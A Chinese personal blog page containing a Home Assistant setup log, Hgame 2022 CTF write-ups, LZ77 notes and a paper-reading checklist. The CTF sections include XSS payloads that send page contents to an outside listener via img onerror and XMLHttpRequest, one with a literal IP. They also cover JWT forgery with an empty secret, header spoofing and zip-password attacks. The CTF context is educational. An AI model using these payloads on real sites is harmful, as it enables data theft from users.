笔记

Home Assistant环境搭建

0 条评论 笔记 小记录 Yunoon

起因经过(概要

很久以前就想做智能家居整合了,但一直没找到时间,今天得空。
第一次尝试,开始是打算直接用pip装的,发现windows的环境会报c++ 14缺失 Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build Tools最终的解决方案是,通过博客等方式了解信息,最终从下载下来一份VisualCppBuildTools_full,将这个安装后就可以使用了。(其实官网的也可以,但要在线下载,国内网络环境问题,这个问题在第二次尝试的时候解决的。)最终所有依赖包安装完毕后,发现不支持windows原生运行XD。

第二次尝试,在官网下载了安装镜像,但国内的环境让docker拉去镜像变得异常得慢,下了好几个小时都还没好,后面破防了,没有用这个方法。开始尝试第三种方法。
第三次尝试,直接拉docker容器发现还是拉的docker hub的镜像,通过更改为国内镜像解决问题。,这个可以,直接跑通,但后续还是有网络方面的问题。

最后对网络方面的问题就行总结一下,windows环境下,由于我用的是clash,无法对未配置的解析域名进行代理,从而导致的网络问题。后面在查阅clash官方文档发现可以用TAP模式(老版本没TUN模式),最后解决。在给VMware开了net模式后,可以直接走同一张网卡的流量,第二次尝试的问题就解决了。再来说第三次尝试的问题,虽然跑起来了,但是装hacs的时候发现还是出现代理问题,主要是GitHub的代理问题,我在有clash的设备上开启了允许局域网连接后,设置了git代理就最终解决了。目前已经可以把米家生态接入HomeKit了。

参考链接:
clash TAP配置:https://docs.cfw.lbyczf.com/contents/tap.html


Hgame 2022 WP Week2

0 条评论 笔记 CTF WP Yunoon

webpack-engine

  1. 这题当时没仔细做,发现挺简单的,和前面的JS题目一样分析源码就行。
  2. 在源码中可以发现有注解
  3. 解码后发现是json字符串

    这里可以发现有base64加密
  4. 两次base64解码就可以得到flag

    flag: hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

At0m的留言板

  1. 这题真的给我做麻了,熬了个大通宵,临门一脚还是没弄出来,在大师傅的指导下整了出来。
  2. 主要有着这些知识点:
    1. XSS执行,这里有script的过滤可以用大小写绕过。
    2. <img src="" onerror="alert(1)"> 通过img标签来执行异常处理。
    3. 在执行语句的前提下,发送HTTP请求。
    4. python SimpleHTTPServer模块来做日志记录。
  3. 可以根据题目给的提示获取到模版文件

  4. 这里就犯了个失误,导致卡了很久,以为script中的auth0r和flag就是默认的变量名,导致后续做请求时,如果出现未命名变量时会报错,导致无法发送请求。
  5. 然后访问公众号,进行留言,可以看到,输入的内容会出现在content中。

  6. 尝试XSS,发现script被拦了。
  7. 然后修改script大小写,发现可以绕过,但被识别为了文本内容。
  8. 在本地测试发现可以通过img/input标签的onerror报错输入执行js语句。
    <img src="" onerror="document.getElementsByClassName('content')[0].innerText =flag">

    <input value="" type=image src onerror="document.getElementsByClassName('content')[0].innerText =flag" type="text">

  9. 当这个时候找不到变量名称,所以就会报错,显示为空。

  10. 虽然无法通过这种方法获取flag,但在onerror能够执行js语句时,还有很多能做的,这里就开始下一阶段:通过发送http请求,查看http请求中的日志,获取flag。

  11. 先在公网服务器中起一个监听服务

  12. 在微信公众号中输入payload,监听服务器中的请求。

  13. payload:<img src="" onerror="var flag = window.flag; const Http = new XMLHttpRequest();const url='http://[IP]:10020/'+flag;Http.open('GET', url);Http.send();Http.onreadystatechange = (e) => {console.log(Http.responseText)}">

  14. 可以发现该变量确实不存在

  15. 当时就想着如何获取变量名,从而得到flag,但一直没找到这类函数,属于是知识面窄了。

  16. 然后通过和大师傅的交流,大师傅提供了一个思路,通过getElementsByTagName这个函数获取到script的内容,这样就可以获取到flag了。


    1. 原理是这样的,虽然我们无法获取到flag的名字,但该页面却依旧会按照模版文件那样,有script的内容。
    2. 通过过滤script的内容,从而获取到flag。
  17. 最终形成的payload就是:<img src="" onerror="var flags =document.getElementsByTagName('sCriPt')[0].innerText; var Http = new XMLHttpRequest();const url='http://[IP]:10020/'+flags;Http.open('get', url);Http.send('flag='+flags);Http.onreadystatechange = (e) => {console.log(Http.responseText)}">

  18. 进行URL解码就行了

  19. flag:hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}


Hgame 2022 WP Week1

0 条评论 笔记 CTF WP Yunoon

Web

蛛蛛...嘿嘿♥我的蛛蛛

  1. 这题比较简单,主要是要写代码,手找也可以,就是有100个页面。
  2. 简单分析一下


    1. 第一个页面有一个href
    2. 第二个页面有两个按钮,但只有一个href。
    3. href的位置是随机生成的,比如第87个页面,就会在87个按钮中随机生成一个href。

    4. 可以用手来一个一个找,但还是推荐代码。

      from asyncio import futures
      import bs4
      from pip import main
      import requests
      def ph(value):
      url = "https://hgame-spider.vidar.club/b6d50742e0"
      url = url+value
      res = requests.get(url=url).text
      soup = bs4.BeautifulSoup(res, features="lxml")
      ret = ""
      for i in soup.find_all("a"):
      if i.get("href"):
      # print(i.get("href"))
      ret = i.get("href")
      h1_res = soup.find_all("h1")
      for i in h1_res:
      print(i.text)
      p_res = soup.find_all("p")
      for i in p_res:
      print(i.text)
      return ret
      def fb(value):
      if value == "":
      return
      else:
      v = ph(value)
      print(v)
      fb(v)
      if __name__ == '__main__':
      fb("?key=ceoAJjVsz0a9lFv7itjDZttUbKf0DNiNVOhUAG02mggmZiyTgNHXdRZ1QaHzCAPnYF3oB%2BrW1pe5YGzQtnb1iQ%3D%3D")

    5. 最后在101个页面找到了,flag最后还再套了一下,在响应头里面的。

  3. flag: hgame{a0204768e95392d881bcd5a5f2f3c92329287db7d7d88a1301f1978e0084c2c2}

  4. 最后还总结一下这个过程中还用的别的XSS内容,虽然没用成功。


    1. img/input onerror报错执行JS代码<img src="" onerror="var img=document.createElement('img'); img.src='http://[IP]:10020/'+flag; document.body.appendChild(img);">
    2. <details open ontoggle=document.getElementsByClassName('name')[0].innerText=flag>
    3. 基于1的前提下,调用HTTP请求<img src="" onerror="var flag = window.flag; const Http = new XMLHttpRequest();const url='http://114.215.169.56:10020/'+flag;Http.open('GET', url);Http.send();Http.onreadystatechange = (e) => {console.log(Http.responseText)}">
    4. 参考的博客
      1. https://mp.weixin.qq.com/s/Egf7sjVvviTESNYEds-pmQ
      2. https://www.cnblogs.com/wjrblogs/p/12341190.html

Tetris plus

  1. 这题提示是游戏,那就是js的问题,然后说3000分,直接搜索3000就行。
  2. 第一个提示是说:flag 貌似被藏起来了,再找找吧!
    3. 下面注释的是JSfuck,直接丢控制台里跑就行。
  3. flag: hgame{jsfuck_1s_S0_fUu1n}

Fujiwara Tofu Shop

  1. 这题是看着WP做出来的,当时Cookie那边卡住了,没注意响应头
  2. 请求来源需要为qiumingshan.net
  3. 改User-Agent为Hachi-Roku
  4. 发现需要发送Cookie
    1. 这里就卡住了,说是发送Cookie为Raspberry,但当时没注意响应头中有Set-Cookie。

    2. 将Cookie设为这个就可以了
  5. 相应后说需要添加汽油


    1. 这里也可以通过相应头中有Gasoline发现为0,设为100后在发送就可以了。
  6. 最后说是要从本地发送请求


    1. 尝试用X-Forwarded-For
    2. 还可以用X-Real-IP
  7. 最后的payload:

    cookie: flavor=Raspberry; Path=/; Domain=localhost; Max-Age=3600; HttpOnly
    gasoline: 100
    referer: qiumingshan.net
    User-Agent: Hachi-Roku
    x-real-ip: 127.0.0.1
  8. flag:hgame{I_b0ught_4_S3xy_sw1mSu1t}

easy_auth

  1. 这个题也是看WP出的,学到了点新东西。
  2. 先是注册,登陆后。
  3. 通过WP的提示,可以通过浏览器查看到token的位置。
  4. 通过字符串头发现是JWT,然后丢JWT解码一下(jwt.io)
  5. 获取到这些内容,发现检验失败(WP原话)。
  6. 根据WP提示清空了secret,可以检验成功。
  7. 改为id为1,Username为admin,进行JWT加密后,修改本地token。
  8. 获得flag
  9. flag:hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}

Misc

这个压缩包有点麻烦

  1. 这题就真的套娃,以为出了,然后里面还有一层,超级大起大落。
  2. 第一层:爆破



    六位数字

    密码为:483279

  3. 第二层:字典爆破


    1. 看提示说是字典

    2. 给了字典的直接拿字典爆就行

    3. 很快就爆出来了

    4. 密码为:&-`;qpCKliw2yTR\

  4. 第三层:明文攻击


    1. 提示是store存储,开始还不知道是什么东西,后面发现就是仅存储模式。

    2. 这里卡了很久,开始以为是7z的问题,后面发现是明文攻击需要保证压缩的工具一致,不然算法不一样就会报错。

    3. 用bandiZIP打开后发现和外面一样有一个README文件,便判断为明文攻击。

    4. 将README文件压缩后发现CRC一致,验证了想法。

    5. 可以发现存储方法这边,加密文件是用的Store方法,就是仅存储,不压缩的方式,开始甚至不知道XD。

    6. 然后用7z选定为仅存储即可

    7. 这样压缩的文件只是起到了一个打包的作用,不会压缩,基本上就是秒压缩。


      这样就保证了一致性。

    8. 将README文件当作明文文件进行攻击




  5. 第四层:文件隐写


    1. 打开图片后发现只有这个说明还没做完
    2. 用binwalk分析后提取出了压缩包
    3. 压缩包有加密
  6. 最后一层:伪加密


    1. 尝试用ZipCenOp解除加密,发现解除成功了。
    2. 然后就可以直接解压zip文件,得到flag
    3. flag为:hgame{W0w!_y0U_Kn0w_z1p_3ncrYpt!}

好康的流量

  1. wireshark打开流量包后,发现有SMTP协议,然后直接跟踪。
  2. 发现内容是以base64的方式加密的图片,丢cyberchef解密。
  3. 把图片丢到stegsolve里看看是不是隐写。
  4. 在green plane 2发现有条形码
  5. 解码发现只有一半。
  6. 再通过在看LSB发现另一半。

  7. flag为:hgame{ez_1mg_Steg4n0graphy}

群青(其实是幽灵东京)

  1. 这题也是大意了,通过频谱看到了Yoasobi后,也用上了silenteye,但不知道把Yoasobi作为密钥来解密。
  2. 拿到音频文件后,用AU打开看频谱,得到Yoasobi
  3. WP上说详细信息里说了有提示用silenteye,当时没看见,也用了silenteye。

    Mac上也可以看到

  4. 然后就是通过silenteye把Yoasobi作为密钥进行解密,得到链接。

  5. 下载下来的音频可以通过文件名发现是SSTV的传输,也可以用听的hhhh。

  6. 扫码获得flag:hgame{1_c4n_5ee_the_wav}


LZ77算法学习

0 条评论 笔记 杂项 小记录 Yunoon

起因

没事打算啃下压缩算法原理

正文

压缩

  1. 直接开始写原理吧
  2. 比如个字符串aabcaacdcaaac, 我们设定一个为4的缓冲区。
  3. 步骤
    1. [...a]abcaacdcaaac aabcaacdcaaac
      1. 这里先丢一个进入缓冲区,由于缓冲区就一个字符其余都是null,因此就直接保留不需要替换。
    2. [..aa]bcaacdcaaac a(1,1)bcaacdcaaac
      1. 第二个a进入缓冲区的时候,就会对缓冲区内进行检索,发现a是重复的,然后再对第一个入缓冲区的a的右侧的字符进行匹配,发现第一个a的右侧是a,第二个a的右侧是b,因此就停止匹配。
      2. 这里就将原来的字符串进行更改,将第二个a更改为(1,1),括号中的第一个数字1是开始字符匹距离匹配字符的距离。这里可以把这个距离看成两个字符中间的字符+1,就比如在缓冲区域中的"aa",两个字符中间是没有字符的,所以其距离+1就为1。第二个数字则为连续匹配上的数字,这里连续匹配只连续匹配上了1个字符“a”因此结果就为1。
      3. 注意:这里的更改不会对这个字符串进行更改,而是对结果字符串进行更改,当前运行的字符串比如“abcaacdcaa”,查询时还是用缓冲区的方式查询[..aa]bcaacdcaa,但会在结果处理的时候创建一个字符串,是对这个字符串进行修改,这个时候结果字符串就变成了"a(1,1)bcaacdcaa"。
    3. [.aab]caacdcaaac a(1,1)bcaacdcaaac
      1. 当b进入缓冲区的时候,就对缓冲区内进行查找,发现没有匹配的就跳过,进行下一个字符的查找。
    4. [aabc]aacdcaaac a(1,1)bcaacdcaaac
      1. 当c进入缓冲区的时候,也是一样,就对缓冲区内进行查找,发现没有匹配的就跳过,进行下一个字符的查找。
    5. a[abca]acdcaaac a(1,1)bc(3,1)acdcaaac
      1. 当缓冲区满了过后,下一个字符进入缓冲区时,就会把缓冲区中最后一个字符挤出去(这里是从有右往左看)。
      2. 当a进入时进行匹配,发现能够匹配上最后的一个字符a,之间间隔了“bc”,因此他们的距离就是3。
      3. 然后查看连续字符,原有字符a的右边边为b,新加入的a的右边为c,因此无法连续,只有a一个连续字符,连续值就记为1。
    6. aa[bcaa]cdcaaac a(1,1)bc(3,1)(1,1)cdcaaac
      1. 当a入缓冲区的时候,匹配到的a,并且判断他们之间没有字符,因此距离为1。
      2. 并且原有字符a右侧是a,新加入字符右侧为c,因此停止匹配,连续值为1。
    7. aab[caac]dcaaac a(1,1)bc(3,1)(1,1)(3,1)dcaaac
      1. c加入后匹配到有c,距离为3。
      2. 原有c右侧为a,新加入c右侧为d,停止匹配,连续值为1。
    8. aabc[aacd]caaac a(1,1)bc(3,1)(1,1)(3,1)dcaaac
      1. 没有匹配跳过
    9. aabca[acdc]aaac a(1,1)bc(3,1)(1,1)(3,1)d(2,1)aaac
      1. 加入c后,匹配到c,距离为2。
      2. 原有c右侧为d,新加入c右侧为a,停止匹配,连续值为1.
    10. aabcaa[cdca]aac a(1,1)bc(3,1)(1,1)(3,1)d(2,1)aaac
      1. 加入a过后,没有匹配跳过。
    11. aabcaac[dcaa]ac a(1,1)bc(3,1)(1,1)(3,1)d(2,1)a(1,2)c
      1. 加入a后,匹配到a,距离为1。
      2. 原a右侧为a,新a右侧为a,加入a,连续值+1为2。此时缓冲区内为aabcaacd[caaa]c。进行下一次迭代匹配旧a右侧为a,新a右侧为c,终止匹配,连续值最终为2。
    12. aabcaacdc[aaac] a(1,1)bc(3,1)(1,1)(3,1)d(2,1)a(1,2)c
      1. 加入c后,没有匹配到内容,跳过。
  4. 结论
    1. 因此最终结果为a(1,1)bc(3,1)(1,1)(3,1)d(2,1)a(1,2)c ,这就是压缩到过程,压缩的好处就在于将原先的字符通过算法的方式变成了以数字存储的元组形式,这样能够有效压缩空间。比如一个字符a用ascii码来表示需要97,二进制表示为0110 0001,但如果变成了(1,1)这样或许会多出一些,但如果遇到连续的比如(10,9),这种就可以节约出很大一部分的空间。

解压

  1. 就不一个一个逆了,现在已经是凌晨了顶不住了。

  2. 直接贴文章的内容吧


    1. 压缩过的文本其实是由一系列的这种 (d, 1) 标记对和字母组成,标记对无法直接找到相匹配的字母。在解压过程中,字母保持不变,这种标记对转换为其指向位置的字母。下面看一个解压的例子:
    2. abc(3, 2)(1, 1)
    3. 复制代码字母 abc 保持不变,标记对 (3, 2) 表示从当前位置向左移动 3 个单位,然后取出 2 个字母,因此其转换为 ab。现在原始文本变成了这样 abcab(1, 1),最后的一个标记对表示从当前位置向左移动 1 个单位,然后取出 1 个字母,因此转换为 b。最终解压完成的文本为 abcabb。
  3. 就提一点,这个是从左往右看,就是反着来就行。具体看原理。

总结

我是犯了什么大病,大半夜跑来看算法原理,看完了还要写文章,写着写着又把自己绕进去了。

参考文章

https://juejin.cn/post/6844904168142929933


关于阅读论文中需要注意的10问

0 条评论 笔记 杂项 论文学习 Yunoon

起因

由于打算阅读论文,在readpaper中看到这个好的让读者快速理解文章框架的10个问题故记录下来。

Q1

论文试图解决什么问题?

Q2

这是否是一个新的问题?

Q3

这篇文章要验证一个什么科学假设?

Q4

有哪些相关研究?如何归类?谁是这一课题在领域内值得关注的研究员?

Q5

论文中提到的解决方案之关键是什么?

Q6

论文中的实验是如何设计的?

Q7

用于定量评估的数据集是什么?代码有没有开源?

Q8

论文中的实验及结果有没有很好地支持需要验证的科学假设?

Q9

这篇论文到底有什么贡献?

Q10

下一步呢?有什么工作可以继续深入?